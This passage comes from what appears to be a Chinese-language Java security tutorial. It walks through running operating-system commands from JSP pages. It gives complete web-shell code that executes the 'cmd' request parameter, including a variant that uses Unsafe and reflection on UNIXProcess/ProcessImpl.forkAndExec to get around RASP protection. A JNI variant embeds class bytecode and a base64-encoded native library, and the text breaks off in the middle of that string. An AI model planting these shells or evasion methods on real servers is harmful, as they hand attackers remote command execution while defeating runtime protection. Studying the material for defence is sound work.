"); 282 | out.println(result); 283 | out.println(""); 284 | out.flush(); 285 | out.close(); 286 | } 287 | %> 288 | ``` 289 | 290 | 命令执行效果如下: 291 | 292 |  293 | 294 | Windows可能并不适用,稍做调整应该就可以了。 295 | 296 | 297 | 298 | ## forkAndExec命令执行-Unsafe+反射+Native方法调用 299 | 300 | 如果`RASP`把`UNIXProcess/ProcessImpl`类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下: 301 | 302 | 1. 使用`sun.misc.Unsafe.allocateInstance(Class)`特性可以无需`new`或者`newInstance`创建`UNIXProcess/ProcessImpl`类对象。 303 | 2. 反射`UNIXProcess/ProcessImpl`类的`forkAndExec`方法。 304 | 3. 构造`forkAndExec`需要的参数并调用。 305 | 4. 反射`UNIXProcess/ProcessImpl`类的`initStreams`方法初始化输入输出结果流对象、`getInputStream`。 306 | 5. 反射`UNIXProcess/ProcessImpl`类的`getInputStream`方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。 307 | 308 | **`fork_and_exec.jsp`执行本地命令示例:** 309 | 310 | ```jsp 311 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 312 | <%@ page import="sun.misc.Unsafe" %> 313 | <%@ page import="java.io.ByteArrayOutputStream" %> 314 | <%@ page import="java.io.InputStream" %> 315 | <%@ page import="java.lang.reflect.Field" %> 316 | <%@ page import="java.lang.reflect.Method" %> 317 | <%! 318 | byte[] toCString(String s) { 319 | if (s == null) 320 | return null; 321 | byte[] bytes = s.getBytes(); 322 | byte[] result = new byte[bytes.length + 1]; 323 | System.arraycopy(bytes, 0, 324 | result, 0, 325 | bytes.length); 326 | result[result.length - 1] = (byte) 0; 327 | return result; 328 | } 329 | 330 | 331 | %> 332 | <% 333 | String[] strs = request.getParameterValues("cmd"); 334 | 335 | if (strs != null) { 336 | Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); 337 | theUnsafeField.setAccessible(true); 338 | Unsafe unsafe = (Unsafe) theUnsafeField.get(null); 339 | 340 | Class processClass = null; 341 | 342 | try { 343 | processClass = Class.forName("java.lang.UNIXProcess"); 344 | } catch (ClassNotFoundException e) { 345 | processClass = Class.forName("java.lang.ProcessImpl"); 346 | } 347 | 348 | Object processObject = unsafe.allocateInstance(processClass); 349 | 350 | // Convert arguments to a contiguous block; it's easier to do 351 | // memory management in Java than in C. 352 | byte[][] args = new byte[strs.length - 1][]; 353 | int size = args.length; // For added NUL bytes 354 | 355 | for (int i = 0; i < args.length; i++) { 356 | args[i] = strs[i + 1].getBytes(); 357 | size += args[i].length; 358 | } 359 | 360 | byte[] argBlock = new byte[size]; 361 | int i = 0; 362 | 363 | for (byte[] arg : args) { 364 | System.arraycopy(arg, 0, argBlock, i, arg.length); 365 | i += arg.length + 1; 366 | // No need to write NUL bytes explicitly 367 | } 368 | 369 | int[] envc = new int[1]; 370 | int[] std_fds = new int[]{-1, -1, -1}; 371 | Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); 372 | Field helperpathField = processClass.getDeclaredField("helperpath"); 373 | launchMechanismField.setAccessible(true); 374 | helperpathField.setAccessible(true); 375 | Object launchMechanismObject = launchMechanismField.get(processObject); 376 | byte[] helperpathObject = (byte[]) helperpathField.get(processObject); 377 | 378 | int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); 379 | 380 | Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{ 381 | int.class, byte[].class, byte[].class, byte[].class, int.class, 382 | byte[].class, int.class, byte[].class, int[].class, boolean.class 383 | }); 384 | 385 | forkMethod.setAccessible(true);// 设置访问权限 386 | 387 | int pid = (int) forkMethod.invoke(processObject, new Object[]{ 388 | ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length, 389 | null, envc[0], null, std_fds, false 390 | }); 391 | 392 | // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流 393 | Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); 394 | initStreamsMethod.setAccessible(true); 395 | initStreamsMethod.invoke(processObject, std_fds); 396 | 397 | // 获取本地执行结果的输入流 398 | Method getInputStreamMethod = processClass.getMethod("getInputStream"); 399 | getInputStreamMethod.setAccessible(true); 400 | InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); 401 | 402 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 403 | int a = 0; 404 | byte[] b = new byte[1024]; 405 | 406 | while ((a = in.read(b)) != -1) { 407 | baos.write(b, 0, a); 408 | } 409 | 410 | out.println("
"); 411 | out.println(baos.toString()); 412 | out.println(""); 413 | out.flush(); 414 | out.close(); 415 | } 416 | %> 417 | ``` 418 | 419 | 命令执行效果如下: 420 | 421 |  422 | 423 | 424 | 425 | ## JNI命令执行 426 | 427 | Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。至于如何写JNI动态链接库写我们将在`JNI`章节中详解。 428 | 429 | **`load_library.jsp`命令执行测试(不依赖Java的forkAndExec):** 430 | 431 | ```jsp 432 | <%-- 433 | Created by IntelliJ IDEA. 434 | User: yz 435 | Date: 2019/12/6 436 | Time: 4:59 下午 437 | To change this template use File | Settings | File Templates. 438 | --%> 439 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 440 | <%@ page import="java.io.File" %> 441 | <%@ page import="java.lang.reflect.Method" %> 442 | <%@ page import="sun.misc.BASE64Decoder" %> 443 | <%@ page import="java.io.IOException" %> 444 | <%@ page import="java.io.FileOutputStream" %> 445 | <%! 446 | private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution"; 447 | 448 | /** 449 | * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码, 450 | * 只有一个public static native String exec(String cmd);的方法 451 | */ 452 | private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ 453 | -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1, 454 | 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 455 | 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 456 | 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 457 | 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 458 | 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 459 | 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120, 460 | 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34, 461 | 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67, 462 | 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16, 463 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 464 | 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1, 465 | 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1, 466 | 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11 467 | }; 468 | 469 | // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译 470 | private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIHsMAEAAEiLBTYHAABIiwBIiUX4SIm9YP///0iJtVj///9IiZVQ////SIO9UP///wAPhEYBAABIi71g////SIu1UP///0iNlU/////opAUAAEiJhUD///9Ii71A////SI01aQYAAOjABQAASImFOP///0iDvTj///8AD4T4AAAASI29IP///+ivAQAASIuVOP///0iNvXD///++gAAAAOh1BQAASImFCP///+kAAAAASIuFCP///0iD+AAPhEQAAABIjb0g////SI21cP///+iHAQAASImFAP///+kAAAAA6af///+J0UiJhRj///+JjRT///9Ijb0g////6AEFAADpbgAAAEiLvTj////oFAUAAImF/P7//+kAAAAASIu9YP///0iNhSD///9Iib3w/v//SInH6JIBAABIi73w/v//SInG6KcEAABIiYXo/v//6QAAAABIi4Xo/v//SImFaP///0iNvSD////okwQAAOkVAAAA6UUAAADpAAAAAEjHhWj///8AAAAASIuFaP///0iLDa0FAABIiwlIi1X4SDnRSImF4P7//w+FLQAAAEiLheD+//9IgcQwAQAAXcNIi70Y////6CAE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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDwAAAAAAAFALAAAAAAAAsAoAAAAAAAAIDwAAAAAAABIPAAAAAAAAHA8AAAAAAAAmDwAAAAAAADoPAAAAAAAARA8AAAAAAABODwAAAAAAAFgPAAAAAAAAYg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA